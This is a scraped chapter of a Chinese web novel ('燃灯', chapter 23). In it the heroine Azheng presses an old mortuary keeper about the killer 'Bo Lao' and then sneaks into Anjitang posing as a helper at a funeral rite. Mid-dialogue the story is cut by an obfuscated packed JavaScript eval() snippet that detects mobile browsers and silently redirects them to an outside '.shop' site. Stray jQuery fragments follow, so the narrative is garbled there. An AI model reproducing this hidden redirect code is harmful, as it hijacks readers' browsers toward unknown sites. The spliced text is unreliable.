文趣网 > 其他小说 > 燃灯 > 23. 走阴
    猴腮被斩后,义庄老头跟阿争夜谈的话,她时不时就想起来,尤其是“为有源头活水来”,在心里翻过来倒过去的琢磨。

    凡事皆有源头,伯劳的故事有,柳天青的死有,柳瓈的失踪也有,可这源头在哪儿,她却寻不得。毕竟她对伯劳的了解只限于说书人的故事,为了故事效果他们难免会进行加工,所以那老人之前和她说的伯劳的事,她原本是存疑的,可柳天青一死,让伯劳的故事又多了些诡秘。

    阿争向义庄跑去,她有太多问题想问老人。猴腮和熊背刚死,看似这事儿翻了篇,一片风平浪静,实则暗潮汹涌,危机四伏。上头的能一手遮天,没有下头的能给上头的蒙了眼的,临秀和浊城为平息风波使出这点雕虫小技,层层报上去,假案早晚得被翻出来,上次是死两个替罪羊,下次又是谁呢?

    谁说牧羊人不会成为待宰的羔羊呢?

    伯劳这般在故事里堪称传奇的人,到底为什么会被抓住?风声未过,在这么短的时间内又出现柳天青这一档子事,是那屠夫鸟狂傲的不避风头,还是有人顶着她的名在下杀手呢?

    义庄门口的白灯笼都挂成了灰灯笼,本就是没有生气的地方,更添衰败消沉,里头人不多,一个个也是青灰的脸色在忙里忙外,阿争转了一圈,还没看见那个老人,那个“猴腮”的兄弟也不在。

    “大哥,看门老大爷在哪儿呢?”阿争叫住两个抬棺的。

    “哪个?”

    “就是爱喝酒的那个,颤颤巍巍的,说话爱拖长调。”

    “后头吧,不知道,你自己去找。”俩人忙得很,不愿和阿争多聊,抬着棺材出去了。

    阿争来了这么多次,她竟还不知道那个老头叫什么名字,每次她来,都能在前厅里看见他,今儿个就好像知道阿争要来找他似的,不知道躲哪儿去了。

    她按照那两个人的指引往屋后走,又找了找,果然找到了,那老头一个人坐在台阶上,在旮旯靠着门休息,见阿争来了,也没说话。

    “我有事要问。”阿争单刀直入。

    那老头撑着地要站起来,阿争挡在他面前,“不耽误太多时间。”

    他只好又坐下去。

    “浊城劫狱案,”阿争紧盯着老人的脸,不想错过他的任何一个表情变化,“你怎么知道劫的是伯劳?你认识她,还是那事和你有关?”

    老头没开口。

    “伯劳到底是谁?她是不是到临秀来了?”

    老头还是不开口。

    沉默仿佛就是老人给阿争的答案,她步步紧逼,“为什么不说话?明明你知道的,伯劳又杀人了。”

    又沉默了一阵,他哑着酒嗓,依旧拖着长调,“我劝你一句,这事别再问了。”

    “怎么,我问不得?”

    “那时我来找人,你说我瞎费劲,猴腮死时,你说我蹚浑水,可为什么又一而再再而三的告诉我,为什么告诉我‘为有源头活水来’?你和我说的那些,什么是真的,什么是假的?”

    看他又继续沉默,阿争退一步,“我今天来就想问清楚一件事,伯劳是不是在临秀,她是不是在安济堂杀人了,她和柳天青,是不是有关系。”

    老人靠在门板上,仰头看着高高挂起的惨白的日头,跟义庄门口挂的灯笼似的。日光照在老头脸上,头顶稀疏的毛发上,午后是一天里最暖和的时候,可入冬了,即使这时候,温暖也打不到人身上。

    阿争本就个高,眉目英气,字字句句极有威压感,若是一般人可能就怯了,可老人还是靠在那儿,淡淡的,静静的看着她。

    “我干这行,不怕死人不怕鬼,可你知道,活人里头,有比鬼骇人的。”

    “逃犯死了,土匪抓了,案子结了,天下太平,你又问我是谁,问人在哪儿,是不是又杀了人……”

    “我一个看门的老头儿,能知道什么呢。”

    好一个一问三不知,若是别人,阿争或许相信他是真的不知,但是这个老人,她确信就是装不知。阿争本来也没指望这老头能跟她交底,她只想获得一些线索,找到那些乱线的头到底在哪儿。

    阿争她一直在想柳瓈是不是伯劳的事,她不相信,以柳瓈的身体做不到把柳天青钉在墙上,可她又不能视若无睹,柳瓈太符合伯劳的画像了,若柳瓈真与伯劳有关,她失踪便是再一次的潜逃。

    可是,柳天青变成了一具干尸,悬挂的确是伯劳的做派,坊间流传的故事中,伯劳亲力亲为,既然是她的手笔,怎么会是长明灯索命?

    还是说有人借了长明灯,嫁祸给伯劳呢?

    时间耽误不得,阿争现在就要赶去怀府,她相信怀远知,可她的心又不安定的很。她往义庄门口走去,刚刚就听到有吵吵嚷嚷的声音,出去一看,是个婆子在嚷。

    “现在真腾不出人手了。”

    “那我不管!”婆子叉着腰,“咱们都多少年矫情了,你们还糊弄我?说好的帮手呢,下午就要做法事了,你还给我差一个人!”

    “哎呀王婆子,有话好好说,小点声儿,”那人是个管事的,想拉着她上一边去,那婆子不让他拉,还要嚷。

    “不是我不给,是真没人了,昨天晚上壮子他们都出去收尸了,现在还没回来呢,下了场雪,他们城里城外都跑不过来,能干活的都出去了。”

    “我不管那些!”婆子依旧不依不饶,咄咄逼人,“谁不知道死的多,手底下人要宽敞我还能来借?今天要送三,日头落了就得做法事,你们早就答应了了,现在又不给我人,这时候让我去哪找?”

    “人呢,赶紧给我交一个出来!”

    “这不是没法子嘛,安济堂里那么多伙计,找一个给你打下手不就行了?”

    “放屁!”王婆子把袖子一捋,都想扇他了,“这话亏你说的出来,就欺负俺老婆子是吧!”

    婆子上手就去扯他,要把他往外拽,“就你答应的,不给我人,你跟我去!”

    “我这还得干活呢!”

    阿争本已走到门口,听到他们说“安济堂”,她又停住了。

    安济堂的大门因那场离奇祸事紧闭着,消息封锁,所有的事都是秘密处理,若不是有杨巴这种灵通,外头的人根本不会知道里头的秘事。

    她本以为山重水复无路可走之时,一个机会却摆在她眼前,这是柳天青死的第三天,再秘密处理,安济堂也要为他们的管事去做送三的法事,借这个由头,她可以潜入安济堂。再说黄昏后开始仪式,天一黑,大家又避讳这事儿,她只要能进去,就一定能找到线索,到时再去怀府也不迟。

    阿争走过去,一副很惊讶的样子,“好久不见了阿婆,你在这呢。”

    王婆子回头,她瞅着这姑娘眼熟,却又说不出来是谁。

    “我是阿争啊,您还认得我不?”

    “这孩子说的什么话,阿婆能把你忘了吗?你又长高了,长这么漂亮,这大闺女,我都没敢认。”

    四年前,王婆子的小闺女难产,产婆怀疑是双生子,孩子缠在一起了,折腾了一天,怎么也生不出来,再这样折腾下去就要一尸三命了,产婆没办法,赶紧去找了沈莲翠。那时阿争在边上洗毛巾,端血水,还要给产妇抓着胳膊借力。是阿婆坚守到最后,不放弃任何可能,最终母子平安,保住了三条命。

    “你这孩子,我还想你呢,有空也不来看看老婆子,”王婆子拉着阿争,“我孙都会跑了,还说要带着去看你阿婆呢,我这忙着一直没时间,你阿婆咋样,一切

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17945463|214046||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    都好?”

    “一切都好。”

    “那就好,那就好。”拉完家常,王婆子忽然反应过来,“你咋在这儿呢?”

    阿争绕过这个问题,“我刚刚听您说缺个人手,我可以去帮衬。”

    “这……”

    王婆子迟疑了,她是急着要人,但干她们这行的有讲究,再说那安济堂的是横死的人,他们去找走阴人超度,人家都不接,纸扎铺子的伙计就推荐了王婆子。伙计知道的也只是知道个大概,安济堂那个张管事遮遮掩掩的,王婆子心里明白是咋回事,这场送三的法事是大凶,她也不敢找个外行来。

    “阿婆,你跟他们要不出人,现在天黑的可早,可别耽误事儿。再说了,开膛破肚的我都见过,可不害怕这个。”

    阿争又补了一句,“我不要工钱。”

    王婆子动摇了,她她实在是抓不出人了,时间不等人,再这么耗下去日头真落了,可让阿争去她又担心,但想想,毕竟是医女,也是跟生死打交道的,也不算是新手。

    “阿婆既然不用我,那我走了,改日我去看您。”看王婆子不动,阿争说着要走,被王婆子拦下来。

    “哎哎阿争,看你这孩子,别走啊,”王婆子说,“你打下手就行,那些法器不用你拿。”

    “这事儿钱还是要给的。”

    “行,您看着来,谁还没遇见个难事,互相帮助嘛。”阿争说。

    王婆子笑了,“真是帮大忙了。”

    她转头又瞪那个管事的,“这年头啥人多?”

    “穷人多,死人多,出尔反尔的人多!”

    看门的老头不知何时也出来了,在一边沉默的看着,看阿争和王婆子走了,他又蹒跚的的回去了。

    阿争特意跑回医馆,跟沈莲翠打了个招呼,她中午急匆匆跑出去,怕她不放心。她说碰见了王阿婆,要帮她个小忙,之后还要去趟怀府,怀远知有事找她,可能要晚些回来。这样就算之后王阿婆和沈莲翠两个人说起来,也对得上。

    沈莲翠正在屋里写方子,没说什么,“嗯”了一声。

    “早去早回。”

    王婆子的另外三个下手都在纸扎店等着,婆子一到,就开始检查准备的东西,一样样清点好,把该分的分了,他们换上白袍子,拿方巾把下半张脸挡上,这是挡煞。

    日头一点点斜下去,王婆子带着四个手下到了安济堂侧门,张管事在门口候着,见了王婆子,领着她们进了前院。

    阿争低着头,含着胸,在后面跟着,毕竟她和张管事见过一面,怕他认出自己,可她完全多虑了,张管事才不想管这摊事,扫都没扫她一眼。

    立冬那天,阿争才来过安济堂,那天她们从前院走到后院,带着饺子,看孩子们吃得心满意足,吃得幸福。而今,她却蒙着脸装作走阴人从侧门悄悄进入,来为柳天青做送三法事。

    冬风萧瑟依旧,却转眼换了人间。

    前厅立着牌位,写着柳天青的名,王婆子开始在前厅布置东西,阿争听阿婆的指示,把东西一样样拿出来,摆在相应位置上。

    她看见墙上那个洞,现在已经被堵上了,他们急匆匆用泥糊的,又抹的不匀,白墙上一个黑点,显得那个洞更大了。

    果然前厅就是柳天青横死的地方。

    神龛前,长明灯的灯油所剩不多了,火苗微弱摇晃着,挣扎着。阿争点起蜡烛,一根根摆好,厅里越来越亮,又映的神龛里金灿灿的了。

    阿争仰头,望着那个写着厚德载物的匾,又看看供奉的那盏长明灯,五味杂陈。

    神龛里的那只金色神鸟刺的她眼睛疼,阿争觉得戳在墙上的那个洞好像戳在了她心上,胃里一阵翻江倒海,不由得干呕了一声。